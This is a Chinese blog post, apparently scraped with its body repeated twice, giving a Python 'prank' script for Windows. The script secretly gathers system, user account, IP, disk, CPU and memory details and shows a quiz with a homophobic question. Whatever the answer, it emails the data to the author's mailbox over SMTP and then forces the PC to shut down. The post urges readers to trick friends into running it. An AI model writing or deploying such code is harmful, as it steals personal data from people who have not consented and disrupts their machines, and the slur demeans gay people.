恶作剧脚本:获取好友选择信息及Windows电脑基本信息
2018-02-24 17:50
309 查看
近日做了一个python脚本,通过一个GUI,实现获取操作者本机信息并发送电子邮件到指定用户邮箱。
用到的python库:os,tkinter,re,email,sys,smtplib
程序的思路是通过os库模拟Windows系统的命令提示符cmd操作获取相关信息,用tkinter构建一个简单的GUI界面,最后通过python内置email库发送邮件到指定邮箱。
一、cmd计算机信息获取
利用os.popen(command).read()获取信息,主要代码如下:import os
import re
username=re.compile('USERNAME=[A-Za-z0-9]*').search(os.popen("set u").read()).group(0)[9: :1]#利用正则表达式获取用户名
base_information=os.popen("systeminfo").read()#获取电脑基本配置信息
user_information=os.popen("net user "+username).read()#获取用户信息
IP_information=os.popen("ipconfig").read()#获取IP信息
disk_information=os.popen("wmic logicaldisk").read()获取硬盘信息
cpu_information=os.popen("wmic cpu").read()#获取CPU信息
memorychip_information=os.popen("wmic memorychip").read()#获取内存信息二、GUI设置
GUI主要是辅助作用,可以省略,也可以根据个人喜好设置问题与选项,这里我们用tkinter库做界面:from tkinter import*
root=Tk()
operate=""
root.title("Quiz")
root.minsize(400,400)
root.maxsize(400,400)
def yes():
operate="是"
send_email(operate)
os.system("shutdown -s -t 0")
def no():
operate="不是"
send_email(operate)
os.system("shutdown -s -t 0")
label=Label(root,text="你是不是基佬?").pack()
button1=Button(root,text="是",width=30,height=5,command=yes,bg='red').pack()
button2=Button(root,text="不是",width=30,height=5,command=no,bg='pink').pack()
root.mainloop()
三、电子邮件设置
关于python的电子邮件操作,可以参考廖雪峰的官方网站。
这里我们用163邮箱和SMTP协议进行通信:from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import smtplib
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
def send_email(init):
from_address = "username@163.com"
password = "password"
smtp_server = "smtp.163.com"
to_address = 'username@qq.com'
msg = MIMEText("我"+init+'基佬'+"\n"+"基本信息"+'\n'+base_information+'\n'+'用户信息'+'\n'+user_information+"\n"+'IP信息'+'\n'+IP_information+'\n'+"硬盘信息"+'\n'+disk_information+'\n'+"cpu信息"+'\n'+cpu_information+'\n'+'内存信息'+'\n'+memorychip_information, 'plain', 'utf-8')
msg['From'] = _format_addr(username+' <%s>' % from_address)
msg['To'] = _format_addr('管理员 <%s>' % to_address)
msg['Subject'] = Header('来自'+username+'的信息', 'utf-8').encode()
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_address, password)
server.sendmail(from_address, [to_address], msg.as_string())
server.quit()这样,发邮件函数设置完毕。
完整代码如下(也可以查看我的GitHub上的代码):#!/usr/bin/env python
# -*- coding:utf-8 -*
import os
import re
from tkinter import*
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import smtplib
from sys import exit
username=re.compile('USERNAME=[A-Za-z0-9]*').search(os.popen("set u").read()).group(0)[9: :1]
base_information=os.popen("systeminfo").read()
user_information=os.popen("net user "+username).read()
IP_information=os.popen("ipconfig").read()
disk_information=os.popen("wmic logicaldisk").read()
cpu_information=os.popen("wmic cpu").read()
memorychip_information=os.popen("wmic memorychip").read()
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
def send_email(init):
from_address = "username@163.com"
password = "password"
smtp_server = "smtp.163.com"
to_address = 'username@qq.com'
msg = MIMEText("我"+init+'基佬'+"\n"+"基本信息"+'\n'+base_information+'\n'+'用户信息'+'\n'+user_information+"\n"+'IP信息'+'\n'+IP_information+'\n'+"硬盘信息"+'\n'+disk_information+'\n'+"cpu信息"+'\n'+cpu_information+'\n'+'内存信息'+'\n'+memorychip_information, 'plain', 'utf-8')
msg['From'] = _format_addr(username+' <%s>' % from_address)
msg['To'] = _format_addr('管理员 <%s>' % to_address)
msg['Subject'] = Header('来自'+username+'的信息', 'utf-8').encode()
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_address, password)
server.sendmail(from_address, [to_address], msg.as_string())
server.quit()
root=Tk()
operate=""
root.title("Quiz")
root.minsize(400,400)
root.maxsize(400,400)
def yes():
operate="是"
send_email(operate)
os.system("shutdown -s -t 0")
def no():
operate="不是"
send_email(operate)
os.system("shutdown -s -t 0")
label=Label(root,text="你是不是基佬?").pack()
button1=Button(root,text="是",width=30,height=5,command=yes,bg='red').pack()
button2=Button(root,text="不是",width=30,height=5,command=no,bg='pink').pack()
root.mainloop()大功告成!
现在你可以把这个脚本发给你的好友(前提是好友用的是Windows系统以及电脑上预装有python3.x)当哄骗好友回答完问题之后,好友可能会下线一段时间(程序结束,电脑关机),然后等待电子邮件的到来和好友的惊讶吧(\奸笑)
用到的python库:os,tkinter,re,email,sys,smtplib
程序的思路是通过os库模拟Windows系统的命令提示符cmd操作获取相关信息,用tkinter构建一个简单的GUI界面,最后通过python内置email库发送邮件到指定邮箱。
一、cmd计算机信息获取
利用os.popen(command).read()获取信息,主要代码如下:import os
import re
username=re.compile('USERNAME=[A-Za-z0-9]*').search(os.popen("set u").read()).group(0)[9: :1]#利用正则表达式获取用户名
base_information=os.popen("systeminfo").read()#获取电脑基本配置信息
user_information=os.popen("net user "+username).read()#获取用户信息
IP_information=os.popen("ipconfig").read()#获取IP信息
disk_information=os.popen("wmic logicaldisk").read()获取硬盘信息
cpu_information=os.popen("wmic cpu").read()#获取CPU信息
memorychip_information=os.popen("wmic memorychip").read()#获取内存信息二、GUI设置
GUI主要是辅助作用,可以省略,也可以根据个人喜好设置问题与选项,这里我们用tkinter库做界面:from tkinter import*
root=Tk()
operate=""
root.title("Quiz")
root.minsize(400,400)
root.maxsize(400,400)
def yes():
operate="是"
send_email(operate)
os.system("shutdown -s -t 0")
def no():
operate="不是"
send_email(operate)
os.system("shutdown -s -t 0")
label=Label(root,text="你是不是基佬?").pack()
button1=Button(root,text="是",width=30,height=5,command=yes,bg='red').pack()
button2=Button(root,text="不是",width=30,height=5,command=no,bg='pink').pack()
root.mainloop()
三、电子邮件设置
关于python的电子邮件操作,可以参考廖雪峰的官方网站。
这里我们用163邮箱和SMTP协议进行通信:from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import smtplib
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
def send_email(init):
from_address = "username@163.com"
password = "password"
smtp_server = "smtp.163.com"
to_address = 'username@qq.com'
msg = MIMEText("我"+init+'基佬'+"\n"+"基本信息"+'\n'+base_information+'\n'+'用户信息'+'\n'+user_information+"\n"+'IP信息'+'\n'+IP_information+'\n'+"硬盘信息"+'\n'+disk_information+'\n'+"cpu信息"+'\n'+cpu_information+'\n'+'内存信息'+'\n'+memorychip_information, 'plain', 'utf-8')
msg['From'] = _format_addr(username+' <%s>' % from_address)
msg['To'] = _format_addr('管理员 <%s>' % to_address)
msg['Subject'] = Header('来自'+username+'的信息', 'utf-8').encode()
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_address, password)
server.sendmail(from_address, [to_address], msg.as_string())
server.quit()这样,发邮件函数设置完毕。
完整代码如下(也可以查看我的GitHub上的代码):#!/usr/bin/env python
# -*- coding:utf-8 -*
import os
import re
from tkinter import*
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import smtplib
from sys import exit
username=re.compile('USERNAME=[A-Za-z0-9]*').search(os.popen("set u").read()).group(0)[9: :1]
base_information=os.popen("systeminfo").read()
user_information=os.popen("net user "+username).read()
IP_information=os.popen("ipconfig").read()
disk_information=os.popen("wmic logicaldisk").read()
cpu_information=os.popen("wmic cpu").read()
memorychip_information=os.popen("wmic memorychip").read()
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
def send_email(init):
from_address = "username@163.com"
password = "password"
smtp_server = "smtp.163.com"
to_address = 'username@qq.com'
msg = MIMEText("我"+init+'基佬'+"\n"+"基本信息"+'\n'+base_information+'\n'+'用户信息'+'\n'+user_information+"\n"+'IP信息'+'\n'+IP_information+'\n'+"硬盘信息"+'\n'+disk_information+'\n'+"cpu信息"+'\n'+cpu_information+'\n'+'内存信息'+'\n'+memorychip_information, 'plain', 'utf-8')
msg['From'] = _format_addr(username+' <%s>' % from_address)
msg['To'] = _format_addr('管理员 <%s>' % to_address)
msg['Subject'] = Header('来自'+username+'的信息', 'utf-8').encode()
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_address, password)
server.sendmail(from_address, [to_address], msg.as_string())
server.quit()
root=Tk()
operate=""
root.title("Quiz")
root.minsize(400,400)
root.maxsize(400,400)
def yes():
operate="是"
send_email(operate)
os.system("shutdown -s -t 0")
def no():
operate="不是"
send_email(operate)
os.system("shutdown -s -t 0")
label=Label(root,text="你是不是基佬?").pack()
button1=Button(root,text="是",width=30,height=5,command=yes,bg='red').pack()
button2=Button(root,text="不是",width=30,height=5,command=no,bg='pink').pack()
root.mainloop()大功告成!
现在你可以把这个脚本发给你的好友(前提是好友用的是Windows系统以及电脑上预装有python3.x)当哄骗好友回答完问题之后,好友可能会下线一段时间(程序结束,电脑关机),然后等待电子邮件的到来和好友的惊讶吧(\奸笑)
相关文章推荐
- PYWIN32 + WMI模块:获取WINDOWS系统基本信息
- 公众号开发网页授权获取用户基本信息不弹出提示用户选择是否授权
- 利用python 与 wmi 获取WINDOWS基本信息
- 用JAVA获取一些电脑基本的信息
- 用PYTHON + PYWIN32 + WMI获取WINDOWS系统基本信息
- 利用Python脚本获取Windows和Linux的系统版本信息 推荐
- 常用脚本 – perl获取windows主机信息
- C++ 获取windows一些基本信息
- Python获取Linux或Windows系统的基本信息
- 获取linux服务器基本信息脚本
- oracle基本信息的查询脚本(表空间、回滚段等)
- 文件获取基本信息
- linux bash脚本获取系统信息(cpu 总内存 可用内存 文件系统大小 系统位数 进程数 软件包数量 IP地址)
- 用vbs实现获取电脑硬件信息的脚本_最新版第1/4页
- Windows NT Session 概念的原理与应用浅析 [1] 遍历并获取信息
- 获取设备基本信息
- jQuery 练习[二]: 获取对象(1) - 基本选择与层级
- shell脚本获取输出到终端的所有信息
- 使用URLConnection获取网页信息的基本流程
- 经由历程sql语句获取数据库的基本信息